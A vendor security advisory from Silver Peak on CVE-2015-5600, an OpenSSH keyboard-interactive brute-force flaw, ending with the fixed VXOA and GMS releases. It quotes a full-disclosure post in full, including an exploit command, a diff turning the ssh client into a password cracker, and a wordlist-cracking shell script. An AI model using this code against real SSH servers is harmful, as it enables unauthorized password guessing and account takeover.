Silver Peak Security Advisory

OpenSSH Keyboard-Interactive Authentication Brute Force Vulnerability, Published by NIST on 08/02/2015

CVE-2015-5600

Summary:

US-CERT/NIST advisory for CVE-2015-5600 is dated 08/02/2015. The advisory is about OpenSSH vulnerability to keyboard-interactive authentication brute force attack.

The kbdint_next_device function in auth2-chall.c in sshd in OpenSSH through 6.9 does not properly restrict the processing of keyboard-interactive devices within a single connection, which makes it easier for remote attackers to conduct brute-force attacks or cause a denial of service (CPU consumption) via a long and duplicative list in the ssh -oKbdInteractiveDevices option, as demonstrated by a modified client that provides a different password for each pam element on this list.

Silver Peak VXOA appliances are susceptible to this vulnerability, and the patch for resolving this is detailed under the heading, Resolution.

Details:

CVE provides information on the advisory and is located at: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-5600

The full advisory located at http://seclists.org/fulldisclosure/2015/Jul/92 reads as follows:

```
OpenSSH has a default value of six authentication tries before it will
close the connection (the ssh client allows only three password
entries per default).

With this vulnerability an attacker is able to request as many
password prompts limited by the “login graced time” setting, that is
set to two minutes by default.

Especially FreeBSD systems are affected by the vulnerability because
they have keyboard-interactive authentication enabled by default.

A simple way to exploit the bug is to execute this command:

ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x
10000'` targethost
```

This will effectively allow up to 10000 password entries limited by the login grace time setting.

The crucial part is that if the attacker requests 10000 keyboard-interactive devices openssh will gracefully execute the request and will be inside a loop to accept passwords until the specified devices are exceeded.

Here is a patch for openssh-6.9p1 that will allow to use a wordlist and any passwords piped to the ssh process to be used in order to crack passwords remotely.

---snip---

```
diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
 83a84,85
char password[1024];

 510c512,517
 < authctxt->success = 1; /* break out */
 ---
printf("==============================================\n");
printf("*** SUCCESS **********************************\n");
printf("*** PASSWORD: %s\n", password);
printf("==============================================\n");
exit(0);

 1376a1384,1385
char *devicebuffer;
int i;
 1386a1396,1405
devicebuffer = calloc(1, 200000);
if (!devicebuffer) {
fatal("cannot allocate devicebuffer");
}

for (i=0;i<200000-2;i+=2) {
memcpy(devicebuffer + i, "p,", 2);
}
devicebuffer[200000] = 0;

 1393,1394c1412
 < packet_put_cstring(options.kbd_interactive_devices ?
 < options.kbd_interactive_devices : "");
 ---
packet_put_cstring(devicebuffer);
 1408c1426
 < char *name, *inst, *lang, *prompt, *response;
 ---
char *name, *inst, *lang, *prompt;
 1410c1428
 < int echo = 0;
 ---
char *pos;
 1425a1444
 1430a1450

 1443,1449c1463,1469
 < echo = packet_get_char();
 <
 < response = read_passphrase(prompt, echo ? RP_ECHO : 0);
 <
 < packet_put_cstring(response);
 < explicit_bzero(response, strlen(response));
 < free(response);
 ---
packet_get_char();
if (fgets(password, 1024, stdin) == NULL)
exit(0);
if ((pos=strchr(password, '\n')) != NULL)
*pos = '';
printf("%s\n", password);
packet_put_cstring(password);

---snip---
```

After applying the patch you can use this shell script to make the password attack from a wordlist:

```
---snip---

#!/bin/bash
# run as:
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target
#
while true
do
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...
done

---snip---
```

For example enter this command:

```
cat wordlist.txt | ./sshcracker.sh test 192.168.2.173
```

The attack has been tested against a new FreeBSD 10.1 system and older FreeBSD versions such as version 6.2.

NIST has added the vulnerability summary for this CVE to their National Cyber Awareness System database:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5600

Recommended Action for Silver Peak Customers:

Silver Peak VXOA appliances:
Silver Peak VXOA appliances are affected by this vulnerability. To mitigate risk, Silver Peak recommends upgrading VXOA appliances to the releases listed in RESOLUTION. The patch is in line with the recommendation in the CVE-2015-5600 advisory.

Resolution:

Silver Peak Issue Id 27996 and 28007 track this vulnerability.

The resolution for this vulnerability is in each of the following release branches:

- **VXOA 6.2.13.0 and later releases**
- **VXOA 7.2.2.0 and later releases**
- **VXOA 7.3.2.0 and later releases**
- **VXOA 8.0.0.0 and later releases**
- **GMS 7.3.2 and later releases**
- **GMS 8.0.0 and later releases**